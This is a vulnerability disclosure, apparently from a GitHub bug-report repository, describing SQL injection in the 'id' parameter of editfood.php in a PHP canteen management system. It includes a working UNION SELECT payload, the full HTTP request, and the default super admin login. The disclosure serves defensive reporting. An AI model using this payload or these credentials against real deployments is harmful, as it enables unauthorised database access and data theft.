

main

...

bug\_report / vendors / mayuri\_k / canteen-management-system / SQLi-3.md



songyangqi Create SQLi-3.md

History

1 contributor

31 lines (21 sloc) | 1.08 KB

...

# Canteen Management System v1.0 by mayuri\_k has SQL injection

BUG\_Author: songyangqi

vendors: <https://www.sourcecodester.com/php/15688/canteen-management-system-project-source-code-php.html>

The program is built using the xmapp-php8.1 version

Login account: [mayuri.infospace@gmail.com](mailto:mayuri.infospace@gmail.com)/rootadmin (Super Admin account)

Vulnerability File: /youthappam/editfood.php

Vulnerability location: /youthappam/editfood.php, id

dbname =youthappam,length=10

[+] Payload: /youthappam/editfood.php?id=-1' union select 1,database(),3,4,5,6,7,8,9--+ //  
Leak place ---> id

```
GET /youthappam/editfood.php?id=-1' union select 1,database(),3,4,5,6,7,8,9--+ HTTP/  
Host: 192.168.1.88  
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
```

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

DNT: 1

Cookie: PHPSESSID=1f9hph2449vgrcadcct2jgd8ne

Connection: close

The screenshot shows a web browser window with a SQL injection payload entered in the address bar. The payload is: `http://192.168.1.88/youthappam/editfood.php?id=-1' union select 1,database(),3,4,5,6,7,8,9--+`. The browser's developer tools are open, showing the 'Log URL' tab. The page title is 'Youthappam' and the subtitle is 'PROJECT BY MAYURI K.'. The page content shows a form for editing food details. The form fields are: Food Name (youthappam), Quantity (6), Rate (7), Category Name (Podulu), and Status (Available). The page footer contains the text 'Copyright © 2022 Project Develop by Mayuri K.'.

Log URL: `http://192.168.1.88/youthappam/editfood.php?id=-1' union select 1,database(),3,4,5,6,7,8,9--+`

Split URL

Execute

☐ Post data ☐ Referrer ☐ 0xHEX ☐ %URL ☐ BASE64 ☐ Insert string to replace ☐ Insert replacing string ☒ Replace All

**Youthappam** PROJECT BY MAYURI K. This Project is developed for Academic study pur

HOME **Edit Food Details** [Home](#) > [Edit Food Details](#)

[Dashboard](#)

[Customer](#) >

[Food Category](#) >

[Food](#) >

[Invoices](#) >

[Reports](#)

[Setting](#) >

[Know More](#)

[Other Projects](#)

Food Name: youthappam

Quantity: 6

Rate: 7

Category Name: Podulu

Status: Available

Copyright © 2022 Project Develop by [Mayuri K](#)